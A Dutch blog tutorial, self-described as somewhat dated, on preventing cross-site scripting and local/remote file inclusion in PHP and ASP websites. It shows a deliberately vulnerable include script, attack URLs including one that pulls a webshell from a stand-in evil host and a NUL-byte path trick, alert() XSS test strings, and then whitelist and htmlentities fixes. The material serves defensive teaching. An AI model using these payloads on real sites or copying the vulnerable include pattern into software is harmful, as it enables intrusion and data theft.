Een cross site scripting beveiligingsprobleem maakt het mogelijk om bepaalde, vaak kwalijke code uit te voeren in de browser-context van de bezoeker. Dat wil zeggen: als een scriptkiddie code in een website weet te verbergen, dan kan hij daarmee bijvoorbeeld het cookie van een onwetende bezoeker stelen. Cookies bevatten vaak inlog- en sessiegegevens (autorisaties).

Cross Site Scripting, of XSS, beveiligingsproblemen tegengaan in websites

Cross site scripting (XSS) beveiligingsproblemen in websites

Deze post is opnieuw gepubliceerd, maar inmiddels wel wat verouderd. Doe zelf goed onderzoek naar technieken om cross site scripting in jouw website-code tegen te gaan!

Dit artikel geeft praktische tips over hoe je cross site scripting (XSS) beveiligingsproblemen tegen kunnen gaan in websites en -code. Dus hoe je een website beveiligt tegen cross site scripting. Ik nodig je uit om opmerkingen, vragen en tips te plaatsen als reactie, onderaan dit artikel.

%3cscript%3ealert%28%91this%20is%20an%20xss%20vulnerability%92%29%3c%2fscript%3e

In de loop der jaren zijn er vele nieuwe varianten XSS-technieken gevonden, die vanwege andere technieken weer sub-namen hebben gekregen. Bijvoorbeeld Local File Inclusion (LFI) of Remote File Inclusion (RFI).

Local File Inclusion (LFI) en Remote File Inclusion (RFI)

Is een webapplicatie kwetsbaar voor Local File Inclusion (LFI), dan is het onder andere mogelijk informatie uit lokale bestanden, zoals configuratiebestanden, weer te geven. Stel je voor wat een aanvaller te weten kan komen aan informatie, of zelfs wachtwoorden kan vinden!

Is de webapplicatie kwetsbaar voor Remote File Inclusion (RFI), dan kan een aanvaller een extern gehost script uitvoeren in de context waarmee de kwetsbare website draait.

Local en Remote File Inclusion voorbeeld

Stel je het volgende PHP-script voor:

<?php
$color = 'blue';
if (isset($_GET['COLOR'])) {
$color = $_GET['COLOR'];
include($color . '.php');
}
?>
<html><head><title>XSS, LFI, RFI voorbeeld</title></head>
<body>
<form method="get">
<select name="COLOR">
<option value="red">red</option>
<option value="blue">blue</option>
</select>
<input type="submit">
</form>
</body></html>

We noemen het script kwetsbaar.php met een reden…

De ontwikkelaar wil dat bezoekers alleen de kleuren rood en blauw kunnen laten weergeven via een HTML-formulier. Maar iedere gebruiker kan willekeurige waardes voor COLOR opgeven. Hierdoor is het mogelijk om code uit bestanden te injecteren, en hierin schuilt een groot gevaar!

  • /kwetsbaar.php?COLOR=http://evil.example.com/webshell.txt? – injecteert een extern gehost script die kwalijke code bevat (remote file inclusion kwetsbaarheid)
  • /kwetsbaar.php?COLOR=C:\ftp\upload\exploit – voert de code uit van een al eerder geüpload bestand genaamd exploit.php (local file inclusion kwetsbaarheid)
  • /kwetsbaar.php?COLOR=C:\notes.txt%00 – voorbeeld dat een NUL meta-karakter bevat, om het achtervoegsel .php te verwijderen. Hierdoor is toegang tot bestanden met een andere extensie ook mogelijk. In dit geval wordt de content van c:\notes.txt geprint.
Reflected XSS, https://commons.wikimedia.org/wiki/File:Nurmuhammed1.png

Wat is vaak de oorzaak van Cross Site Scripting?

Waardoor worden deze XSS (LFI, RFI) beveiligingsproblemen veroorzaakt? De oorzaak ligt over het algemeen in:

  • slecht programmeerwerk
  • verkeerd, of foutief, gebruik van PHP includes
  • slecht programmeerwerk
  • geen validatie op invoer van gebruikers, en
  • geen, verkeerd of foutief gebruik van variabelen declaraties.

Hoe gaan we Cross Site Scripting tegen?

Het belangrijkste begin van een oplossing is dat je je webapplicatie kent. Overal waar een bezoeker informatie of bestanden kan meegeven in de URL (of informatie, als $_GET-, $_POST– of $_REQUEST-variabele), moet je bepalen of de bezoeker dat op die plek mag, en (zo ja) wàt hij precies mag. Overal waar een bezoeker informatie achter kan laten op de website.

Je kunt bestanden of informatie uitsluiten van opname. Men noemt dat een blacklist. Echter, de mogelijkheden zijn ontelbaar en daarom kun je het beste opgeven wat wél opgegeven mag worden (een whitelist genaamd).

We beveiligen bovenstaande PHP-code, door vooraf op te geven wat opgenomen mag worden. Dit plaatsen we in een array.

<?php
$color = 'blue';
$allowed = array('red','blue');
if (isset($_GET['COLOR']) && in_array($_GET['COLOR'], $allowed)) {
$color = $_GET['COLOR'];
}
include($color . '.php');
?>

Vrij eenvoudig hebben we kwetsbaar.php nu wat meer beveiligd. De PHP-functie include() kunnen we verder dichttimmeren door bestanden die opgenomen mogen worden, in één specifieke folder te plaatsen. Die folder moet vooraf gedefinieerd worden:

<?php
$color = 'blue';
$allowed = array('red','blue');
$includemap = './includes/colors/';
if (isset($_GET['COLOR']) && in_array($_GET['COLOR'], $allowed)) {
$color = $_GET['COLOR'];
}
include($includemap . $color . '.php');
?>

Het PHP Register Globals tijdperk, waarmee je de variabele $includemap zou kunnen overschrijven is toch echt wel voorbij. Wél moet je nog steeds rekening houden met speciale meta-karakters, zoals het eerder genoemde NUL-karakter (%00).

Cross Site Scripting voorbeeld

Example of cross-site scripting code. By Christiaan Colen

Een voorbeeld van een Cross Site Scripting kwetsbaarheid is een kwetsbaarheid waarvoor alle grote webmailaanbieders kwetsbaar waren in november 2002. Lees er over hier: https://dl.packetstormsecurity.net/0211-exploits/XSS-Cookie-Advisory.txt.

Bij webmailaanbieders zoals Hotmail, Yahoo en Excite was het mogelijk het cookie van een ingelogde gebruiker te stelen, als deze een speciaal door de aanvallers gecreëerde link aanklikte. Destijds was dat vrij gemakkelijk met het voorbeeld “Click to see Britney nude!”.

De aanval was mogelijk omdat bepaalde webservices in andere onderdelen van de webmailaanbieders niet afdoende beveiligd waren tegen Cross Site Scripting (XSS). Door het creëren van een link naar een andere pagina, met het XSS-beveiligingsprobleem, kon een Javascript pop-up geopend worden dat een door de aanvallers gemaakt script aanriep. Het enige wat die pagina hoefde te doen was de document.referer (HTTP REFERER) en document.cookie op te vangen.

Javascript injecteren

Vaak probeert een kwaadwillende om Javascript-code in allerlei formulieren op te slaan. Denk hierbij aan commentaar- or reactieformulieren op artikelen, maar ook forums, gastenboeken, zoekvelden, enz. Het injecteren van javascript-code dient verschillende doelen:

  • links plaatsen naar websites van de aanvaller om een betere Google ranking te scoren
  • bezoekers doorsturen naar andere websites, vaak websites met daarop kwalijke code of exploits
  • tonen van ongevraagde reclame

Voorbeeld: Om een pagina (URL) te kunnen bookmarken, laat een pagina vaak de ingevulde variabelen in het URL adres staan. In ons voorbeeld, een zoekmachine, ziet dat er als volgt uit:

http://test.zoekmachine.com/zoeken.php?q=XSS%20Vulnerability

Nu proberen we de volgende zoekopdracht uit:

<script type="text/javascript"> alert ('Dit is een XSS-kwetsbaarheid')</script>

door dit versturen naar het zoeken.php script, wordt het gecodeerd en het resultaat URL adres wordt:

http://test.zoekmachine.com/zoeken.php?q=%3Cscript%3Ealert%28%91This%20is%20an%20XSS%20Vulnerability%92%29%3C%2Fscript%3E

Als de invoer in zoeken.php niet goed gevalideerd en gefilterd wordt, dan verschijnt een Javascript pop-up venster met de waarschuwing “Dit is een XSS-kwetsbaarheid” zodra we de link bezoeken. Erg vervelend voor de bezoeker.

Hiernaast is het vaak mogelijk om Javascript op te nemen in ongefilterde HTML tags, zoals <P>, <IMG>, <SCRIPT> en zelfs <BODY>, als een reactieformulier hier ondersteuning voor biedt. Doordat reacties vaak in een database worden opgeslagen wordt de Javascript code voor iedere bezoeker uitgevoerd. En stel dat een onwetende bezoeker op dat moment ingelogd is als een gebruiker of beheerder van een CMS, dan kan een scriptkiddie daarmee beschikking krijgen over het cookie met autorisaties. De kwaadwillende krijgt daarmee beheerdersrechten op jouw website!

XSS tegengaan

Hoe gaan we cross site scripting (XSS) nou tegen?

Een relatief eenvoudige manier om XSS-kwetsbaarheden tegen te gaan, is door alle verzonden data en gegevens te coderen naar het HTML equivalent. De scripttaal PHP gebruikt hiervoor de functie htmlentities() en ASP (VBscript) gebruikt Server.HTMLEncode(). Of data hierbij verzonden wordt via een HTTP GET of POST maakt niet uit.

Wederom moeten variabelen ook van te voren worden gedefinieerd!
Lees hier meer over het declareren van variabelen in PHP.

PHP

<?php
$zoekopdracht = '';
$zoekopdracht = htmlentities($_GET['q']);
//of op één regel:
// $zoekopdracht = isset($_GET['q']) ? htmlentities($_GET['q']) : '';
?>

ASP/VBScript

<%@ Language="VBScript" %>
<%
Option Explicit
Dim zoekopdracht
If Request.Form("q") Then
zoekopdracht = Server.HTMLEncode(Request.Form("q"))
End If
%>

Mogelijke bronnen “kwaadaardige” data

Het XSS-probleem is van toepassing op elke pagina die gebruikersinvoer gebruikt voor het dynamisch genereren van HTML. Vooral de volgende bronnen zijn mogelijke aanvals-vectoren:

  • Query String
  • Cookies
  • Posted data
  • URL’s en delen van URL’s, zoals PATH_INFO
  • Data van gebruikers verkregen uit een database of tekstbestan

Tips tegen XSS

  • PHP: Gebruik liever geen include() als je ook readfile() kunt gebruiken.
  • Gebruik geen variabelen in include().
  • Behandel “data” als “data”, niet als “HTML”

Ik wil graag meer weten over (het tegengaan van) Cross Site Scripting (XSS) kwetsbaarheden!

Je vindt meer informatie over websitebeveiliging, cross site scripting en aanverwante zaken op:

Specifiek voor de programmmeertaal PHP zijn interessant:

Andere bronnen met informatie zijn

Conclusie XSS tegengaan

Het tegengaan van Cross Site Scripting (XSS) kwetsbaarheden is relatief eenvoudig. Zolang je er goed over nadenkt, bij voorkeur al van te voren bij de ontwikkeling.

Update 5-5-2014: Lees meer over een DOM based XSS in prettyPhoto – waarvoor Saotn.org ook kwetsbaar was – en hoe dat op te lossen is.

Show 1 Comment

1 Comment

Geef een reactie

Het e-mailadres wordt niet gepubliceerd. Vereiste velden zijn gemarkeerd met *